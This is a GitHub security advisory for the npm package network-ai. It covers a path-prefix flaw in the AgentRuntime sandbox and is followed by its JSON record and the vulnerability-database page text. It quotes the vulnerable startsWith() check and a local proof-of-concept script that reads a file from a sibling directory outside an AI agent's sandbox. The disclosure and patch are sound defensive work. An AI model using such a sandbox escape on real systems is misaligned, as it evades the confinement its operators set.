GHSA-JVCM-F35G-W78P
Vulnerability from github – Published: 2026-06-19 21:42 – Updated: 2026-06-19 21:42Summary
AgentRuntime promises scoped file access under a configured sandbox basePath, but its path containment checks use raw string prefix tests. A sandbox base such as /tmp/network-ai-sandbox also matches a sibling path such as /tmp/network-ai-sandbox_evil/secret.txt.
An agent/user that can call AgentRuntime.readFile() or AgentRuntime.listDir() can read or list files outside the intended sandbox when the target path is in a sibling directory sharing the base path prefix. This breaks the documented sandbox boundary. Confirmed in Network-AI 5.12.1. Severity: Medium, CVSS 3.1 vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N.
Details
The vulnerable containment check is in lib/agent-runtime.ts:
resolvePath(filePath: string): string | null {
const normalized = normalize(filePath);
const absolute = isAbsolute(normalized)
? normalized
: join(this.config.basePath, normalized);
const resolved = resolve(absolute);
// Traversal check
if (!resolved.startsWith(this.config.basePath)) return null;
return resolved;
}
startsWith() is not path-boundary-aware. If this.config.basePath is /tmp/network-ai-sandbox, then /tmp/network-ai-sandbox_evil/secret.txt also starts with /tmp/network-ai-sandbox despite being outside the sandbox.
The same pattern appears in SandboxPolicy.isPathAllowed() for allowed and blocked paths. FileAccessor.read(), FileAccessor.write(), and FileAccessor.list() rely on these checks before I/O, and AgentRuntime.readFile() exposes this behavior. Reads auto-approve by default when autoApproveReads is enabled.
Affected source evidence:
lib/agent-runtime.ts:393-423—isPathAllowed()/resolvePath()use stringstartsWith()containment.lib/agent-runtime.ts:669-691— file read sink relies on those checks.lib/agent-runtime.ts:933-958—AgentRuntime.readFile()exposes file reads.
PoC
Run from the repository root after installing dependencies:
node -r ts-node/register/transpile-only - <<'TS'
const { mkdtempSync, mkdirSync, writeFileSync, rmSync } = require('fs');
const { tmpdir } = require('os');
const { join } = require('path');
const { AgentRuntime } = require('./lib/agent-runtime');
(async () => {
const parent = mkdtempSync(join(tmpdir(), 'network-ai-poc-'));
const base = join(parent, 'sandbox');
const sibling = join(parent, 'sandbox_evil');
mkdirSync(base);
mkdirSync(sibling);
writeFileSync(join(sibling, 'secret.txt'), 'SECRET_OUTSIDE_SANDBOX', 'utf8');
const runtime = new AgentRuntime({
policy: { basePath: base, allowedPaths: ['.'], allowedCommands: [] },
});
const absoluteRead = await runtime.readFile(join(sibling, 'secret.txt'), 'poc-agent');
const relativeRead = await runtime.readFile('../sandbox_evil/secret.txt', 'poc-agent');
console.log(JSON.stringify({
base,
outside: join(sibling, 'secret.txt'),
absoluteRead: { success: absoluteRead.success, content: absoluteRead.content },
relativeRead: { success: relativeRead.success, content: relativeRead.content },
}, null, 2));
rmSync(parent, { recursive: true, force: true });
})();
TS
Observed result: both reads succeed and return SECRET_OUTSIDE_SANDBOX, even though the file is outside basePath.
Impact
An agent/user with access to AgentRuntime file operations can bypass the intended sandbox root and read or list files outside the sandbox when those files are located in sibling paths sharing the sandbox base path prefix. This is a sandbox boundary bypass and path traversal vulnerability. Default confirmed impact is read/list disclosure. If an embedding application uses FileAccessor.write() directly or auto-approves runtime writes, the same root cause may allow writes outside the intended sandbox to prefix-collision sibling paths. No RCE chain was confirmed.
Resolution (maintainer)
Fixed in v5.12.2 (commit a59c13a). Install: npm install network-ai@5.12.2 — published to npm with provenance.
SandboxPolicy.resolvePath() and isPathAllowed() now use separator-anchored prefix checks (resolved === base || resolved.startsWith(base + path.sep)) for both the allow-list and block-list. A sibling directory that merely shares a name prefix (e.g. /srv/app-evil vs base /srv/app) is no longer treated as in-scope.
All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.12.1"
},
"package": {
"ecosystem": "npm",
"name": "network-ai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.12.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-23"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T21:42:29Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n`AgentRuntime` promises scoped file access under a configured sandbox `basePath`, but its path containment checks use raw string prefix tests. A sandbox base such as `/tmp/network-ai-sandbox` also matches a sibling path such as `/tmp/network-ai-sandbox_evil/secret.txt`.\n\nAn agent/user that can call `AgentRuntime.readFile()` or `AgentRuntime.listDir()` can read or list files outside the intended sandbox when the target path is in a sibling directory sharing the base path prefix. This breaks the documented sandbox boundary. Confirmed in Network-AI 5.12.1. Severity: Medium, CVSS 3.1 vector `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N`.\n\n### Details\nThe vulnerable containment check is in `lib/agent-runtime.ts`:\n\n```ts\nresolvePath(filePath: string): string | null {\n const normalized = normalize(filePath);\n const absolute = isAbsolute(normalized)\n ? normalized\n : join(this.config.basePath, normalized);\n const resolved = resolve(absolute);\n\n // Traversal check\n if (!resolved.startsWith(this.config.basePath)) return null;\n return resolved;\n}\n```\n\n`startsWith()` is not path-boundary-aware. If `this.config.basePath` is `/tmp/network-ai-sandbox`, then `/tmp/network-ai-sandbox_evil/secret.txt` also starts with `/tmp/network-ai-sandbox` despite being outside the sandbox.\n\nThe same pattern appears in `SandboxPolicy.isPathAllowed()` for allowed and blocked paths. `FileAccessor.read()`, `FileAccessor.write()`, and `FileAccessor.list()` rely on these checks before I/O, and `AgentRuntime.readFile()` exposes this behavior. Reads auto-approve by default when `autoApproveReads` is enabled.\n\nAffected source evidence:\n\n- `lib/agent-runtime.ts:393-423` \u2014 `isPathAllowed()` / `resolvePath()` use string `startsWith()` containment.\n- `lib/agent-runtime.ts:669-691` \u2014 file read sink relies on those checks.\n- `lib/agent-runtime.ts:933-958` \u2014 `AgentRuntime.readFile()` exposes file reads.\n\n### PoC\nRun from the repository root after installing dependencies:\n\n```bash\nnode -r ts-node/register/transpile-only - \u003c\u003c\u0027TS\u0027\nconst { mkdtempSync, mkdirSync, writeFileSync, rmSync } = require(\u0027fs\u0027);\nconst { tmpdir } = require(\u0027os\u0027);\nconst { join } = require(\u0027path\u0027);\nconst { AgentRuntime } = require(\u0027./lib/agent-runtime\u0027);\n\n(async () =\u003e {\n const parent = mkdtempSync(join(tmpdir(), \u0027network-ai-poc-\u0027));\n const base = join(parent, \u0027sandbox\u0027);\n const sibling = join(parent, \u0027sandbox_evil\u0027);\n mkdirSync(base);\n mkdirSync(sibling);\n writeFileSync(join(sibling, \u0027secret.txt\u0027), \u0027SECRET_OUTSIDE_SANDBOX\u0027, \u0027utf8\u0027);\n\n const runtime = new AgentRuntime({\n policy: { basePath: base, allowedPaths: [\u0027.\u0027], allowedCommands: [] },\n });\n\n const absoluteRead = await runtime.readFile(join(sibling, \u0027secret.txt\u0027), \u0027poc-agent\u0027);\n const relativeRead = await runtime.readFile(\u0027../sandbox_evil/secret.txt\u0027, \u0027poc-agent\u0027);\n console.log(JSON.stringify({\n base,\n outside: join(sibling, \u0027secret.txt\u0027),\n absoluteRead: { success: absoluteRead.success, content: absoluteRead.content },\n relativeRead: { success: relativeRead.success, content: relativeRead.content },\n }, null, 2));\n rmSync(parent, { recursive: true, force: true });\n})();\nTS\n```\n\nObserved result: both reads succeed and return `SECRET_OUTSIDE_SANDBOX`, even though the file is outside `basePath`.\n\n### Impact\nAn agent/user with access to `AgentRuntime` file operations can bypass the intended sandbox root and read or list files outside the sandbox when those files are located in sibling paths sharing the sandbox base path prefix. This is a sandbox boundary bypass and path traversal vulnerability. Default confirmed impact is read/list disclosure. If an embedding application uses `FileAccessor.write()` directly or auto-approves runtime writes, the same root cause may allow writes outside the intended sandbox to prefix-collision sibling paths. No RCE chain was confirmed.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` \u2014 published to npm with provenance.\n\n`SandboxPolicy.resolvePath()` and `isPathAllowed()` now use separator-anchored prefix checks (`resolved === base || resolved.startsWith(base + path.sep)`) for both the allow-list and block-list. A sibling directory that merely shares a name prefix (e.g. `/srv/app-evil` vs base `/srv/app`) is no longer treated as in-scope.\n\nAll 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.",
"id": "GHSA-jvcm-f35g-w78p",
"modified": "2026-06-19T21:42:29Z",
"published": "2026-06-19T21:42:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-jvcm-f35g-w78p"
},
{
"type": "WEB",
"url": "https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3"
},
{
"type": "PACKAGE",
"url": "https://github.com/Jovancoding/Network-AI"
},
{
"type": "WEB",
"url": "https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Network-AI: AgentRuntime sandbox path-prefix checks allow file access outside the configured base directory"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.